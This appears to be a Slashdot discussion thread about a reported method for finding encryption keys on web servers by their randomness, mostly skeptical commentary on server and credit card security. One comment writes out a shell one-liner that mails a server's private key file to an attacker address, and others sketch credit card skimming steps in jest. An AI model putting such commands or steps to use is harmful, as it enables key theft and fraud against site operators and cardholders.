The solution: don't let anyone into your web server in the first place. I would consider the web server compromised and the keys invalid if someone got in and was able to snoop where the keys were located. Even if you do allow shell access to the web server (a bad idea in my opinion), put the keys in a root read-only directory! I believe the setup instructions for mod_ssl says to set your SSL key as 400, therefore only root can read it.
This article is irresponsible. They make it sound as if your credit card is already at stake, not just after someone has broken into a web server and stole keys. It is not news that encrypted data is at stake after someone has stole the private key.
I consider buying things over the web to be in the same league as ordering items over the phone. When people order things over the phone, they are dealing with a PERSON. How do they know that the operator that is taking their order is not going to rip them off, or do something stupid with their credit card number?
Plus, in both cases you don't know if the credit card information is being STORED properly. I've seen plenty of discount e-com setups that will have a fancy site certificate making it look secure. Then when the form is submited a plain text email gets sent to some email address so that someone can manually punch it in.
I've never seen one even offered for better than about 12%. Unless you're counting those deceptive ads that say 3% APR!!*
*For 3 months
when I use my a credit card online, I use my check card. So there is no interest. The safety of it I'm not very concerned with. If there is a charge on my check card that I didn't make, I just call the bank and they get rid of it.
This article was posted at 5:38pm EST. Thats after the stock market closed. I wonder what kind of affect this would have on the "dot com" stocks... This would be a shame considering that the NASDAQ is doing so well lately.
First, one quick note: we have a lot of bright people reading this stuff. However, sometimes even us bright people fall for the "hindsight bias". I want to make sure that we aren't falling for it now!
Second, though, I believe that the article was poorly written. It doesn't accurately describe the threat, it focusses on Web servers, and it ignores the fact that our intellegance agencies and police forces have been doing this kind of thing for a long time (even in the US).
Some other things to note, though... 1) The information content of a key should be zero (thus random). We know this. However, we also know that even with SIMPLE encryption algorithms (think XOR), the result also has what appears to be zero information content. The information is random, provided you don't know the secret key or plain text. In fact, one of the first tests of an encryption routine is to see if the result in most cases fits the criteria for random information (there are math tests you can apply).
So, what this article REALLY says is this:
By using the fact that encryption removes the information from a message (in a math sense), we can find keys, large random numbers, and encrypted messages when we examine a stream of bits. Think about this, though...Don't you think the NSA has always been able to intercept information and pass the encrypted pieces to one department and the unencrypted pieces to another? What about a police agency which takes someone's computer as evidence. Perhaps they deleted their PGP key, but not good enough. How do you find it? The same way mentioned in this article, using many well-written commercial software packages designed for forensics work.
This attack demonstrates yet another reason not to send private keys/shared keys over insecure channels. It is saying, "Someone might notice that thing is a key," even if there is a lot of traffic. Go figure.
As a side note, though, we can do our intellegence agencies a big favor by sending all messages out as encrypted messages. That way, they don't just have to try to crack the ones for which encryption makes sense on, but also the ones that encryption doesn't make sense on. How long do we have to wait until we can send Mom birthday wishes via encrypted mail? (Picture some guy 3 stories underground in Virginia trying to make sense of THAT secret code!)
--
Joel Maslak
Right. But cyber credit card theft is potentially dangerous in ways that personal CC number theft is not. Even if you work all day at stealing credit card numbers, you can only steal a handful when compared with a fully automated digital attack. The real risk is not with credit card users. It's with the banking industry. A serious attack that got say a million+ usable CC numbers could bankrupt even the largest credit card company or at least become the source of a truly /staggering/ problem. A "terrorist" might even be able to destabilize the whole economy if large-scale automated CC fraud were part of a well orchestrated attack.
/know/ will keep the internet secure at this point is not to have one. All this other "secutiry" is pure conjecture.
I personally don't see how we can avoid a really serious security meltdown on the internet. People are taking very large risks with technology that is not *fundamentally* secure. The only thing we
The fact that encryption keys can be found in data by looking for strings with higher entropy then usual is not new. I have heard it several times, and I believe that this was how the "NSA_key" thing in the Win2K source code was discovered (remember that, MS let NSA authenticate their own crypto modules and people started screaming backdoor). If I'm not wrong, its even mentioned in 'Applied Cryptography'.
The article says "root around looking for the keys", which I read as getting root to the server (I mean, who is going to keep code that contains crypto keys globally readable?) and that isn't exactly easy to begin with. And if your hosting server gets rooted your sort of fucked anyways...
As far as the big deal over Credit Card numbers is concerned, I couldn't agree more. I don't know about you people, but I operate under the assumption that my credit card number is always in the hands of others. I mean, the security of a credit card number rests on the fact that "no one can remember 20 digits." Obscurity would be an infinite step up.
Credit card numbers can be stolen by anyone who you shop at, anyone who goes through those shops or your trash, anyone who (with a little memorization training) is able to read your card, etc ad infinum. The whole system is based on the fact that credit cards numbers can be stolen but that its cheaper for the companies to take the loss then implement a smarter system. If that doesn't fit you shoe, then there is always cash...
-
We cannot reason ourselves out of our basic irrationality. All we can do is learn the art of being irrational in a reasonable way.
/. should post articles of higher quality than this. This article is very clearly nothing more an ad for a company with a dumb product (I say dumb because there should be a better argument for its usage other than this):
Everyone here should know that "security through obscurity" is a foolish and invalid method of security. This article is particularly annoying with its "submarine" and "cold war" analogies as well as its mention of "increasing hacker ingenuity", as though finding a big file of encryption keys open to all users on a server is some high tech stealth technique from a Harrison Ford movie or something.
Agreed.
You probably have more security on line then in real life anyway. Its much easier to read the numbers off a recipt (and alot less technical) then to crack a system.
About 10 years ago I worked for Radio Shack, there was a POS update to remove the name and address on a credit card recipt. Just imagine how much someone must have had to cause the update, hell, the only thing missing was a social security number.
The only time I've been a victim of fraud was when I applyed for a mortgage, a month later someone was ordering Lands End and shipping it to Camden.
Slashdot is correctly using .org . The time when .org was "officially" different from .com has long since past. Go check it out at the Registry (Network Solutions). Same goes for .net . You got $70, you've got a name. They no longer care what you do with it.
Since I'm here right next to New York City, let me assure you, your credit card is far *less* safe on the Internet than you are on the streets of Manhattan. Crime is down. I believe this is true in most large cities in the US.
Yes, I think that would work. I can think of lots of schemes that would, but all are basically security thru obscurity. Once you know the method used to interleave the bits, it becomes easy to find them.
I guess this is an amusing (to those of us without credit cards, anyway) example of that :) Information, by its very nature, stands out from the redundant noise of the background and is hard to hide away.
It seems to me that it should be possible to interleave the bits of the keys with a large quantity of non-random data, thereby masking its high information content. The trick of course is making the algorithm for which bits are real impossible to brute force. Unlike a one-time pad at least, only the server would need to know, e-commerce customers wouldn't.
* Obtain tools: pen, paper, or a good memory
* Use tools to store credit card numbers
* Use credit card numbers to purchase online pron
To extend this algorithm to have it work with the customer present, do this...
1) Get a job a local store for about and hour
2) Arrange to have a phone ring in the back room hen a customer gives you their CC for purchase.
3) Go into backroom and make two carbon copies of the CC. Hide one, give the other to the customer (about 15 seconds)
4) Tell customer call was a wrong number.
5) Complete the sale.
6) A month or so later, break out the carbon, fill in an amount, sign it, and submit it.
This algorithm works best in countries that don't have extensive CC fraud laws or the ability to enforce them.
Trust me, I know. Happened to me while on deployment in Mediterranean (country unnamed).
I returned to the US only to get a bill for $400 for goods I did not purchase. The CC company made me PROVE that I wasn't in the country at the time of the purchase.
I had to get my signature notorized (the one on the slip wasn't even close), have a letter from my Commanding Officer that our ship wasn't in the area (we were in the US at the time of the supposed purchase) AND a letter from the ship's admin office showing that I was onboard the ship for that time period.
All this because I let my CC out of sight for about 15 seconds and didn't report a fraud that I didn't know about in the required time period.
Needless to say, I drop the CC company after the bill was paid.
Get caught, and you'll spend the rest of your short sorry life taking it up the rear many times a day with Bubba and the boyz in the local state pen. Ever wanted a tattoo of Elle McPherson on your back? :)
War crimes, torture, lies, illegal spying... Would someone give Bush a blowjob, already, so he can be impeached?
Well, duh! Once I'm in, you have big problems. So, DON'T LET ME IN
It is not as though this is a new means to attack a server and gain access, just a way, once you have access, to find what you want.
And, if you store a bunch of data in compressed format (which also looks pretty random), then the search will be confused.
"The sky is falling! The sky is falling!" Any modern journalist.
www.eFax.com are spammers
"If you *really* want to reduce the average entropy, you can use a full byte '0' or '1' for each bit. or two bytes, or three ... ad infinitum."
Great, then some skript kiddie will use a tool to look for big-ish files filled with 1s and 0s (no other characters), and some st00pid news server will report it as another "huge hack."
---
--
Internet Explorer (n): Another bug -- that is, a feature that can't be turned off -- in Windows.
The consumer may not be directly liable, but in the end we pay for it. How do you think credit card companies compensate for lost revenue due to of fraudulent transactions? They raise the interest rates!
I remember a friend of mine that left his credit card at a gas station and it got used at a local department store to buy hundreds of dollars in goods. He had enough information to track the guy down and bust him, but he opted to just cancel the card and get a new one, because he didn't have to worry about being liable. This kind of irresponsible behavior just makes the fraud worse and the interest rates higher for all of us.
To re-iterate. There are now two (2) ways to obtain credit card numbers:
Method #1:
* Crack into a highly secure server, likely behind a firewall (details left out, this part is easy)
* Apply heuristics and a random number searching algorithm on the hard drive (heuristics + classic compression algorithms such as LZW will work here)
* Use the keys to monitor transactions with this server and obtain credit card numbers
* Use credit card numbers to purchase online pron
Method #2:
* Get job at local store for approx. 1 hour
* Obtain tools: pen, paper, or a good memory
* Use tools to store credit card numbers
* Use credit card numbers to purchase online pron
The opening of this new method, number one (1), could be a serious threat to e-commerce. It makes e-commerce almost 1% as dangerous as physical world purchases! I know I'll never type https:// again and feel safe. I'm doing my purchases with complete safety: over the phone.
I agree with most of what you're saying, but how is that any less secure than a dedicated server? Granted, there seem to be more locally exploitable security problems, but really, all that's being said here is "if the sites not secure, it's not secure and bad things can happen".
Their heuristic technique is interesting and novel, but that's all. ZDnet is just trying to make more of a story than there is. "Someone developed a method of identifying the more-randomness of cryptographic keys among the pseudo-random crap that's in memory." That's all there is to this story. It has little-to-no security implications for your average e-commerce site.
If someone has compromised the machine, then of course nothing on the machine is secure anymore.
Now...I wonder if they can patent this.
nCifer published a paper describing this technique at the begining of last year - http://www.ncipher.com/products/files/papers/angui lla/keyhide2.pdf. This technique was used to show that Microsoft had two keys in its Crypto API .dll.
If you can subvert a server then you can scan memory or the swap file for possible keys and post them back to the attacker. The search space is tiny compared to the whole of the server's file system.
>Van Someren noted that it's possible that
>others - hackers, in particular - already have
>discovered the path to the once-hidden
>encryption keys.
If a cracker already has access to the server,
why bother looking for really random data? Most
webservers have a standard filename for the
private key. Don't need much experience in
information theory "find the path" to "hidden" keys. Eg:
"cat `locate httpsd.pem` | sendmail cr4ck3r@evil.org"
The smartest solution is to encrypt the private key and require the webmaster to decrypt it whenever the server's started. That way, a pilfered keyfile is worthless to the cracker.
My log2(4) cents.
The above post is very informatie! moderate it up!
_________________________
Alex Van Someren, president of nCipher in Cambridge, England, said the discovery of a method for retrieving encryption keys revolves around research conducted by his brother Nicko, chief technology officer and co-founder of nCipher, and Adi Shamir of the Weizmann Institute in Israel, co-inventor of the RSA encryption system, the base for much current encryption technology.
This story reads pretty credible, but I have to wonder where the proof is. The article does draw an interesting analogy about submarines making themselvs more and more quiet untill the only way to "hear" them was to search for the "hole" in the water. They say that this same kind of aproach was used to find keys.
This tmethidology seems logical, but it's implementation soes not. Does the reasercher point to his finished work?
_________________________
It is too bad that commercial encryption doesn't use the "self destructing if tampered with" key archive approach that is used with the unbreakable category 4 encryption systems. I suppose we could improve the existing systems by immediately rewriting memory that was used for password entry and intermediate decryption results. Oh well, guess I'm going to have to study that chapter on pointers again.
Disclaimer: I may be totally off base here as this article is mighty vague. I have the utmost respect for Adi Shamir, one of the brightest cryptographers out there.
The problem with check cards is that if someone steals it and makes fraudulant charges, that money comes straight out of your account. Sure, you can call the bank the credit your account, but how long does that take? Meanwhile, all your checks bounce.
Credit cards are far superior, because it puts the bank at risk, not you.
---
Ok, this is ridiculous .. how effective is the randomness seeking algorithm? How does it determine randomness? This only should affect steganography users. (People hiding their keys inside .gif files.) This too I doubt, and I would be very surprised if their algorithm can detected "pockets of randomness" within an compressed image file. I dont think many have assumed that their keys were safe because the key is hidden in some obscure directory, or a wierd filename. After all, by examining the application that accesses the key (a cracker should be able to access this also if he can run an program that can search the whole file system for "pockets of randomness"). Anyway. This is just a scam and I dont care if Adi Shamir supports it .. I do not think that it increases data vulnerability in a significant way. Ok, I gotta go delete the key I hid in the .jpg of my cat. -johan
Second, in the second paragraph is this quote:
"The revelation that hackers can break into servers and steal encryption keys could have repercussions throughout the electronic commerce landscape."
So stealing credit cards from servers is now a revalation? It's the second paragraph and already they're pouring down the hype!
Lastly, there have been several cases of credit card fraud where I live (New England) due to disgruntled office supply cashiers scribbling down credit card data when the customers go to the checkout line. But does that mean people stop using credit cards to buy things? Hardly.
As if the idea of spending money was so radically new that old principles don't apply to e-commmerce...
------------
"Okay, who taught the cat how to type ctrl alt delete?"
*** The ENCRYPTED data ***
All persons involved in this "discovery" should know that if the data is encrypted with good enough methods they could hand out that encrypted data to everyone on their website without risking being compromised!
Stupid stupid stupid stupid.
I'll go and decrypt all those nude photos I currently have encrypted using 128 bit IDEA on my harddrive now. Someone could search for their randomness and get hold of my encrypted data ... scary. They could even try to view that encrypted data with an image viewer and see ... well ... random noise.
Go hide in the corner now, please.
it's in my head
There you go, now, trying to redefine language to fit your agenda.
A cracker is someone who breaks copy protection on games and programs that are copy protected.
That definitiion is at LEAST as old as the subset of the definition of 'hacker' that you champion at the exclusion of all other definitions of the word.
To Anonymous Coward: Most of the people who post on SlashDot use the geek culture definition of the word. To them, a hacker isn't someone who breaks into computers. That's a cracker. I won't try to define hacker: it's done much better here
"The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.
Or store a 128bit key in a 1024bit location, mixing the actual key in with less random bits.
"The legitimate powers of government extend only to such acts as are injurious to others." Thomas Jefferson.
- Most people can get credit cards with 9.9% interest or less.
- Smart people pay no interest. They pay their credit card bills every month.
- The safest means of commerce is to give your credit card info out over the internet.
The safest means of commerce? Yes. You carry $100 on the street and get mugged, you lose $100 (as well as possibly your health or your life). If someone uses your credit card, however, you are liable for *at most* $50 in charges so long as you let the credit card company know.Furthermore, transmitting your CC# via SSL is more secure than giving it to a waiter or saying it over the phone.
If the problem is that the keys are too random, all that is necessary is to make them arbitrary instead. Rather than a key string of "qliyufg;erqvb qfiyfiv b(&^$E*O11 651" use "the azure frog, jealous of a new day"Or, to get a bit more sophisticated (albeit while reducing the opportunity for creative writing), use an actual section of code as a key.
As others have pointed out, there's no big revelation here, or sudden big security hole... All it means is that if you could access private data before and put it through a brute force search, now you have a search that's a little bit more focused.
Apparently what prompted the researchers to look for and announce this "problem" was the fact that they were already in the business of selling a "solution" for it. (That's not my cynicism speaking; that's in the article itself.) Well, I've got a solution for it too: generate a bunch of unneeded encryption keys from your other files and store them on the same volume. The encryption keys you're trying to hide no longer stand out by their randomness and you have an integrity check for the rest of your valuable data.
If people are to respect the law, perhaps the law should begin by respecting the people.
As usual we trade convenience / price for security.
.oO0Oo.
All a hacker would have to do [is] go into that server and root around looking for the keys of other companies.
Surely if you managed to get access to the file system with this sort of clearance plenty of exloits are possible anyway. In my experience this is more likely with M$ based stuff than *nix, however it really just highlights how the majority of our systems are single user computers with multi-user capability tagged on.
Storing CC numbers on a shared web server that also stores your key does sound a bit of a no-brainer to start with if it's security you're looking for!
As for the story, it's a bit thin on detail and thick on supposition.
There are places where the networks are not touching,and there are places where they are-Boeing's Lori Gunter
Now we actually now what this is about. As far as I am concerned, the interesting application would be if No Such Agency sifted communications channels of a planet to find the keys. They can afford to do it if it's computationally cheap enough.
I was thinking.. if you could find the dir with the keys and just get a list of it. (for example, sshd is in /etc which is usually gloabally listable), you could look at the files date and then go thru the sshd source code to find where it generates the key. It probably uses the time/date to seed the random number generator, you could repeat this process with that timestamp you found on the file and have it spit back the key!
I see that some of the posters have assumed the keys are contained in the filesystem, while the rest are for searching memory. Well, which is it? If it's the filesystem, the obviously you've got to be root or administrator and have some way of running your programs on the target box. Not that easy, as many have said. If the keys are in memory, even if you're a hacker with all the privileges in the world, the address space of your evil program can't see other address spaces, unless you are a very tricky assembly language wizard. Either way, this is not for script kiddies.
And if the ruthless crackers at the NSA want to find out your credit card number, they'll probably just call your bank and ask.
From now on, let's all just refer to computer criminals as "journalists".
I am very much afraid that we live in interesting times.
Use checks or money orders. I personally do not own a credit card, because I think the interest on it is ridiculous and they are so easily prone to attack. This is just evidence that you are probably no safer giving out your credit card info over the internet than you are safe from getting mugged in a large city.
But retrieving the encryption keys is somewhat more worrisome. Suddenly for the relatively small effort of breaking into the server a hacker could access scores of encrypted files which would previously have taken ages to crack. Not only that, but apparently it's harder to detect such attacks.
Passwords have been the weak link in computer security for some time now. Many users do not protect their password properly, or choose one easy to guess. Result: easy hacking. This isn't new, it's just another manifestation of the same old problem.
I don't have a sig.
If you keep your keys in hexadecimal or base64 rather than binary, then the information content is maintained but is spread across a greater amount of data. This easily defeats the method. If you *really* want to reduce the average entropy, you can use a full byte '0' or '1' for each bit. or two bytes, or three ... ad infinitum.
I would have to say that servers are most secure to this kind of key retrieval method. They seem to fail mentioning that you must first break into the system before you can search for the key. Well duhhh... if this guy has already hacked into your server your screwed. I would think that someone that helped to create RSA would be bright enough to realize that one out so i'm sure that it's the fault of zdnet's crack reporting team. I would be more concerned with software that keeps the decryption key on your local system like www.timelock.com or www.softlocx.com. Really all this does is remind people that randomness is a recognizable pattern and using a sentence is a better choice for a key.
Tom the Sigless
So does that mean if some attack like this game, some large scale credit card scam designed to suck a huge amount of money out of the economy and create havok in the system, that ultimatly it would be us, THE PEOPLE who get shafted and not THE CORPORATIONS who run this shitty ass unsecure system? That is what it sounds like to me and if you ask me, that doesn't seem right.